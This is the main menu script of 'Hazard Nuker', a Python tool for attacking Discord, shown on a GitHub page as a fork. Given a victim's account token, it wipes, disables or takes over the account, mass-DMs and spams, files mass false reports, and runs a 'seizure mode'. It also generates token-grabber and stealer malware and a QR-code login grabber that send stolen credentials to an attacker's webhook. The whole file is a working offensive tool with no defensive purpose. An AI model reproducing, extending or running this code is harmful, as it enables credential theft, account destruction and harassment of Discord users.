forked from Rdimo/Hazard-Nuker
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathHazard.py
444 lines (401 loc) · 19.2 KB
/
Hazard.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
# Hazard was proudly coded by Rdimo (https://github.com/Rdimo).
# Hazard Nuker under the GNU General Public Liscense v2 (1991).
import requests, threading, os
from time import sleep
from colorama import Fore, Style, init
# I know you can import the modules alot better but just got so many issues with importing * so just did this instead
from util.plugins.common import clear, setTitle, getheaders, THIS_VERSION, proxy_scrape
from util.plugins.update import search_for_updates
import util.accountNuke
import util.dmdeleter
import util.info
import util.login
import util.groupchat_spammer
import util.massreport
import util.QR_Grabber
import util.seizure
import util.server_leaver
import util.spamservers
import util.statuschanger
import util.tokendisable
import util.create_token_grabber
import util.create_stealer_V2
import util.unfriender
import util.webhookspammer
import util.massdm
init(convert=True)
def main():
setTitle(f"Hazard Nuker {THIS_VERSION}")
global threads
threads = 0
clear()
#Main banner
banner = Style.BRIGHT + f'''{Fore.LIGHTGREEN_EX}
_ _
.-_; ;_-.
/ / \ \\
| | | |
\ \.---./ /
██╗ ██╗ █████╗ ███████╗ █████╗ ██████╗ ██████╗ .-"~ .---. ~"-.
██║ ██║██╔══██╗╚══███╔╝██╔══██╗██╔══██╗██╔══██╗ ,`.-~/ .'`---`'. \~-.`,
███████║███████║ ███╔╝ ███████║██████╔╝██║ ██║ '` | | \ _ / | | `'
██╔══██║██╔══██║ ███╔╝ ██╔══██║██╔══██╗██║ ██║ , \ \ | | / / ,
> Created by Rdimo#6969 ██║ ██║██║ ██║███████╗██║ ██║██║ ██║██████╔╝ ;`'.,_\ `-'-' /_,.'`;
> https://rdimo.github.io/CheatAway ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ '-._ _.-'^'-._ _.-' '''.replace('█', f'{Fore.WHITE}█{Fore.LIGHTGREEN_EX}') + f'''
{Fore.WHITE}────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────{Fore.RESET}
{Fore.RESET}[{Fore.GREEN}1{Fore.RESET}]{Fore.BLACK} Nuke Account |{Fore.RESET}[{Fore.GREEN}10{Fore.RESET}]{Fore.BLACK} Disable Account
{Fore.RESET}[{Fore.GREEN}2{Fore.RESET}]{Fore.BLACK} Unfriend all friends |{Fore.RESET}[{Fore.GREEN}11{Fore.RESET}]{Fore.BLACK} Status Changer
{Fore.RESET}[{Fore.GREEN}3{Fore.RESET}]{Fore.BLACK} Delete and leave all servers |{Fore.RESET}[{Fore.GREEN}12{Fore.RESET}]{Fore.BLACK} Create Token Grabber
{Fore.RESET}[{Fore.GREEN}4{Fore.RESET}]{Fore.BLACK} Spam Create New servers |{Fore.RESET}[{Fore.GREEN}13{Fore.RESET}]{Fore.BLACK} Create Stealer.V2
{Fore.RESET}[{Fore.GREEN}5{Fore.RESET}]{Fore.BLACK} Dm Deleter |{Fore.RESET}[{Fore.GREEN}14{Fore.RESET}]{Fore.BLACK} QR Code grabber
{Fore.RESET}[{Fore.GREEN}6{Fore.RESET}]{Fore.BLACK} Mass Dm |{Fore.RESET}[{Fore.GREEN}15{Fore.RESET}]{Fore.BLACK} Mass Report
{Fore.RESET}[{Fore.GREEN}7{Fore.RESET}]{Fore.BLACK} Enable Seizure Mode |{Fore.RESET}[{Fore.GREEN}16{Fore.RESET}]{Fore.BLACK} GroupChat Spammer
{Fore.RESET}[{Fore.GREEN}8{Fore.RESET}]{Fore.BLACK} Get information from a targetted account |{Fore.RESET}[{Fore.GREEN}17{Fore.RESET}]{Fore.BLACK} Webhook Destroyer
{Fore.RESET}[{Fore.GREEN}9{Fore.RESET}]{Fore.BLACK} Log into an account |{Fore.RESET}[{Fore.GREEN}18{Fore.RESET}]{Fore.RED} Exit
{Fore.WHITE}────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────{Style.RESET_ALL}'''
print(banner)
choice = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Choice: {Fore.LIGHTRED_EX}'))
#all options
if choice == '1':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
Server_Name = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Name of the servers that will be created: {Fore.LIGHTRED_EX}'))
message_Content = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Message that will be sent to every friend: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.accountNuke.Hazard_Nuke, args=(token, Server_Name, message_Content)).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '2':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.unfriender.UnFriender, args=(token, )).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '3':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.server_leaver.Leaver, args=(token, )).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '4':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
Server_Name = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Name of the servers that will be created: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.spamservers.SpamServers, args=(token, Server_Name)).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '5':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.dmdeleter.DmDeleter, args=(token, )).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '6':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
Message = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Message that will be sent to every friend: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.massdm.MassDM, args=(token, Message)).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '7':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.seizure.StartSeizure, args=(token, )).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '8':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
util.info.Info(token)
elif choice == '9':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
threads = 100
if threading.active_count() < threads:
threading.Thread(target=util.login.TokenLogin, args=(token, )).start()
return
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '10':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
util.tokendisable.TokenDisable(token)
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '11':
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
Status = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Custom Status: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
util.statuschanger.StatusChanger(token, Status)
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '12':
WebHook = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Webhook Url: {Fore.LIGHTRED_EX}'))
fileName = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}File name: {Fore.LIGHTRED_EX}'))
try:
responce = requests.get(
WebHook)
if responce.status_code != 200:
print("\nInvalid Webhook")
sleep(1)
main()
except Exception as e:
print(f"an error occured\nignoring: {e}")
sleep(4)
main()
util.create_token_grabber.TokenGrabber(WebHook, fileName)
elif choice == '13':
WebHook = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Webhook Url: {Fore.LIGHTRED_EX}'))
fileName = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}File name: {Fore.LIGHTRED_EX}'))
try:
responce = requests.get(
WebHook)
if responce.status_code != 200:
print("\nInvalid Webhook")
sleep(1)
main()
except Exception as e:
print(f"an error occured\nignoring: {e}")
sleep(4)
main()
util.create_stealer_V2.TokenGrabberV2(WebHook, fileName)
elif choice == '14':
WebHook = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Webhook Url: {Fore.LIGHTRED_EX}'))
try:
responce = requests.get(
WebHook)
if responce.status_code != 200:
print("\nInvalid Webhook")
sleep(1)
main()
except Exception as e:
print(f"an error occured\nignoring: {e}")
sleep(4)
main()
util.QR_Grabber.QR_Grabber(WebHook)
elif choice == '15':
print(f"\n{Fore.LIGHTRED_EX}(the token you input is the account that will send the reports){Fore.RESET}")
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
guild_id1 = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Server ID: {Fore.LIGHTRED_EX}'))
channel_id1 = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Channel ID: {Fore.LIGHTRED_EX}'))
message_id1 = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Message ID: {Fore.LIGHTRED_EX}'))
reason1 = str(input(
'\n[1] Illegal content\n'
'[2] Harassment\n'
'[3] Spam or phishing links\n'
'[4] Self-harm\n'
'[5] NSFW content\n\n'
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Reason: {Fore.LIGHTRED_EX}'))
if reason1.upper() in ('1', 'ILLEGAL CONTENT'):
reason1 = 0
elif reason1.upper() in ('2', 'HARASSMENT'):
reason1 = 1
elif reason1.upper() in ('3', 'SPAM OR PHISHING LINKS'):
reason1 = 2
elif reason1.upper() in ('4', 'SELF-HARM'):
reason1 = 3
elif reason1.upper() in ('5', 'NSFW CONTENT'):
reason1 = 4
else:
print(f"\nInvalid reason")
sleep(1)
main()
r = requests.get('https://discord.com/api/v9/users/@me',headers=getheaders(token))
if r.status_code == 200:
clear()
util.massreport.MassReport(token, guild_id1, channel_id1, message_id1, reason1)
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == "16":
token = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Token: {Fore.LIGHTRED_EX}'))
r = requests.get(
'https://discord.com/api/v9/users/@me',
headers=getheaders(token))
if r.status_code == 200:
clear()
util.groupchat_spammer.GcSpammer(token)
else:
print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}")
sleep(1)
main()
elif choice == '17':
print(f'''
{Fore.RESET}[{Fore.RED}1{Fore.RESET}] Webhook Deleter
{Fore.RESET}[{Fore.RED}2{Fore.RESET}] Webhook Spammer
''')
secondchoice = int(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Second Choice: {Fore.LIGHTRED_EX}'))
if secondchoice not in [1, 2]:
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Invalid Second Choice')
sleep(1)
main()
if secondchoice == 1:
WebHook = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Webhook: {Fore.LIGHTRED_EX}'))
try:
responce = requests.get(
WebHook)
if responce.status_code != 200:
print("\nInvalid Webhook")
sleep(1)
main()
except Exception as e:
print(f"an error occured\nignoring: {e}")
sleep(4)
main()
try:
requests.delete(WebHook)
print(f'\n{Fore.GREEN}Webhook Successfully Deleted!{Fore.RESET}\n')
except Exception as e:
print(f'{Fore.RED}Error: {Fore.WHITE}{e} {Fore.RED}happened while trying to delete the Webhook')
choice = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Enter anything to continue. . . {Fore.LIGHTRED_EX}'))
main()
if secondchoice == 2:
WebHook = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Webhook: {Fore.LIGHTRED_EX}'))
Message = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Message: {Fore.LIGHTRED_EX}'))
Timer = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Amount of time for the spam (sec): {Fore.LIGHTRED_EX}'))
try:
responce = requests.get(
WebHook)
if responce.status_code != 200:
print("\nInvalid Webhook")
sleep(1)
main()
except Exception as e:
print(f"an error occured\nignoring: {e}")
sleep(4)
main()
util.webhookspammer.WebhookSpammer(WebHook, Message, Timer)
elif choice == '18':
setTitle("Exiting...")
choice = str(input(
f'{Fore.GREEN}[{Fore.CYAN}>>>{Fore.GREEN}] {Fore.RESET}Are you sure you want to exit? (Y to confirm): {Fore.LIGHTRED_EX}'))
if choice.upper() == 'Y':
clear()
Style.RESET_ALL
Fore.RESET
exit()
else:
main()
else:
clear()
main()
if __name__ == "__main__":
search_for_updates()
with open(os.getenv("temp")+"\\proxies.txt", 'w'): pass
clear()
proxy_scrape()
sleep(1)
main()